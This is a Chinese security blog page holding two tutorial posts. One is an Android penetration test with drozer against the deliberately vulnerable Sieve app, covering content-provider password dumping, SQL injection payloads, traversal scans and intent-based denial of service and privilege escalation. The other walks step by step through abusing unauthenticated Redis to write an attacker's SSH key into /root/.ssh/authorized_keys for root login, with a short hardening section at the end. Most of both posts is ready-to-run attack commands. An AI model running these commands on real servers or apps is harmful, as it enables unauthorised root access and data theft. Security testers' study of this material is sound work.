2018年3月8日星期四

利用drozer进行Android渗透测试

一、安装与启动

1. 安装 

第一步:从http://mwr.to/drozer下载Drozer (Windows Installer) 
第二步:在Android设备中安装agent.apk
adb install agent.apk

2. 启动

第一步:在PC上使用adb进行端口转发,转发到Drozer使用的端口31415
adb forward tcp:31415 tcp:31415
第二步:在Android设备上开启Drozer Agent
选择embedded server-enable
第三步:在PC上开启Drozer console
drozer console connect 
二、测试步骤

1.获取包名

dz> run app.package.list -f sieve

com.mwr.example.sieve
2.获取应用的基本信息
run app.package.info -a com.mwr.example.sieve
3.确定攻击面
run app.package.attacksurface com.mwr.example.sieve
4.Activity
1)获取activity信息
run app.activity.info -a com.mwr.example.sieve
2)启动activity
复制代码
run app.activity.start --component com.mwr.example.sieve

dz> help app.activity.start

usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]

[--component PACKAGE COMPONENT] [--data-uri DATA_URI]

[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]

[--mimetype MIMETYPE]
复制代码
5.Content Provider
1)获取Content Provider信息
run app.provider.info -a com.mwr.example.sieve
(2)Content Providers(数据泄露)
先获取所有可以访问的Uri: 
run scanner.provider.finduris -a com.mwr.example.sieve
获取各个Uri的数据:
run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查询到数据说明存在漏洞
(3)Content ProvidersSQL注入)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
报错则说明存在SQL注入。
列出所有表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取某个表(如Key)中的数据:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
4)同时检测SQL注入和目录遍历
run scanner.provider.injection -a com.mwr.example.sieve

run scanner.provider.traversal -a com.mwr.example.sieve
6 intent组件触发(拒绝服务、权限提升)
利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
1.查看暴露的广播组件信息:
run app.broadcast.info -a com.package.name  获取broadcast receivers信息

run app.broadcast.send --component 包名 --action android.intent.action.XXX
2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
run app.broadcast.send 通过intent发送broadcast receiver
(1)   空action
run app.broadcast.send --component 包名 ReceiverName

run app.broadcast.send --component 包名 ReceiverName
(2)   空extras
run app.broadcast.send --action android.intent.action.XXX
3.尝试权限提升
权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
(1)获取service详情  
run app.service.info -a com.mwr.example.sieve

不使用drozer启动service

am startservice –n 包名/service名
(2)权限提升
run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
7.文件操作
列出指定文件路径里全局可写/可读的文件
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo

run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo

run app.broadcast.send --component 包名 --action android.intent.action.XXX
8.其它模块
shell.start 在设备上开启一个交互shell

tools.file.upload / tools.file.download 上传/下载文件到设备

tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

2018年3月6日星期二

Kali Linux 利用Redis写入SHH公钥

标题:利用Redis写入SHH公钥
作者:Jhson
关键词:利用Redis写入SHH公钥,Kali Linux
难度:★★★★

环境安装
--------------------------------------------------------
SSH客户端:Xshell
靶机系统:CentOS
Redis版本:redis-2.8.3
--------------------------------------------------------
redis主要版本为2和3,安装与配置方法如下。
1. 下载redis,3.2或者2.8选一个
# wget http://download.redis.io/releases/redis-2.8.3.tar.gz
这里以redis-2.8.3为例
 
2. 解压包

?
1
#tar zxvf redis.2.8.3.tar.gz

3. 编译安装

?
1
#cd ./redis2.8.3/src&&make

4. 启动redis并在后台运行格式:./redis-server [redis配置文件]

?
1
# ./redis-server ../redis.conf
5. 查看redis是否启动

?
1
# netstat -ntlp | grep redis
 
利用姿势1、利用nmap获取redis信息

?
1
# nmap -A -p6379 --script=redis-info 192.168.132.134
 
2、利用redis客户端进行未授权访问#

?
1
./redis-cli -h 192.168.132.134

?
1
192.168.132.134:6379> info
 
当然,如果redis存在访问密码的话,可以使用如下:

?
1
# ./redis-cli -h 192.168.132.134 –a [password]
3、利用redis连接写入ssh公钥1)先在攻击机上生成ssh公钥和私钥

?
1
# ssh-keygen -t rsa

2)将公钥写入一个文本中

?
1
# cd ~/.ssh/

?
1
# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> hack.txt

3)将hack.txt写入redis

?
1
# cat hack.txt | /usr/local/redis-2.8.3/src/./redis-cli -h 192.168.132.134 -x set crack
4)利用redis客户端连接靶机redis

?
1
# cd /usr/local/redis-2.8.3/src/
[
?
1
# ./redis-cli -h 192.168.132.134

5)获取redis备份的路径

?
1
192.168.132.134:6379> CONFIG GET dir

6)更改redis备份路径

?
1
192.168.132.134:6379> CONFIG SET dir /root/.ssh

7)设置备份文件的名称为authorized_keys

?
1
192.168.132.134:6379> CONFIG SET dbfilename authorized_keys
 
8)检查是否更改

?
1
192.168.132.134:6379> CONFIG GET dbfilename
 
9)保存

?
1
192.168.132.134:6379> save
 
4. ssh连接

?
1
# ssh [email]root@192.168.132.134[/email]
 

至此,攻击过程结束。防御加固1、限制redis访问
如果仅需要在本地访问redis,找到redis.conf配置文件设置bind配置项为:bind 127.0.0.1 

保存,重启redis服务再次查看redis进程信息如下: 
2、增加redis访问密码同上,在redis.conf配置文件中找到requirepass 配置项,取消#注释符,在requirepass 后面添加设置的密码
 




via:https://bbs.ichunqiu.com/thread-17634-1-1.html